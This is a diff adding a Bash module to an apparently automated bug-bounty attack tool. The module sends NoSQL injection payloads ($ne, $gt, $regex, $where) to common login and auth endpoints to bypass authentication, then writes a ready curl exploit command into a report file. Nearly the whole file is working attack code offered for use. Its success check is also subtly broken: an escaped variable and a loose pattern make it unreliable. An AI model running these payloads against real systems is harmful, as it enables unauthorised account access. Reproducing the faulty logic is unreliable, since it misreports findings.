The Analyzer v1.0 — autonomous bug bounty engine with 20 attack vectors and Ollama brain

vectors/20-nosqli.sh

@@ -0,0 +1,54 @@
+#!/usr/bin/env bash
+# Vector 20: NoSQL Injection
+# Desc: MongoDB injection via JSON operators ($ne, $gt, $regex)
+# Detect: Node.js/Express apps, MongoDB backends
+# Severity: HIGH
+# Tools: curl
+
+vector_nosqli() {
+  local target="$1"
+  local report="$2"
+  local findings=0
+  
+  print_info "Testing NoSQL Injection vectors..."
+  
+  # Check for JSON content types or Node.js indicators
+  local headers=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
+  
+  # Test POST endpoints
+  local endpoints=("/login" "/api/login" "/auth" "/api/auth" "/user" "/api/user" "/graphql")
+  local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
+  
+  for endpoint in "${endpoints[@]}"; do
+    # NoSQL injection payloads
+    local nosql_payloads=(
+      '{"username":{"$ne":""},"password":{"$ne":""}}'
+      '{"username":{"$gt":""},"password":{"$gt":""}}'
+      '{"username":{"$regex":".*"},"password":{"$regex":".*"}}'
+      '{"$where":"1==1"}'
+      '{"username":"admin","password":{"$ne":""}}'
+      '{"username":"admin","$where":"1==1"}'
+    )
+    
+    for payload in "${nosql_payloads[@]}"; do
+      local response=$(curl -s --connect-timeout 5 --max-time 10 \
+        -X POST \
+        -H "Content-Type: application/json" \
+        -d "$payload" \
+        "${base}${endpoint}" 2>/dev/null)
+      
+      if echo "\$response" | grep -qiE '"token"|"success":true|"loggedIn"|"authenticated"|200|"session"'; then
+        print_find "NoSQL Injection!" "Authentication bypass via $endpoint"
+        echo "SEVERITY: CRITICAL
+VECTOR: NoSQL Injection
+DETAIL: NoSQL injection on ${base}${endpoint}
+EVIDENCE: Authentication bypass with $payload
+EXPLOIT: curl -X POST ${base}${endpoint} -H 'Content-Type: application/json' -d '$payload'" > "$REPORTS_DIR/.finding_$(date +%s)_nosqli.txt"
+        findings=$((findings + 1))
+        break 2
+      fi
+    done
+  done
+  
+  return $findings
+}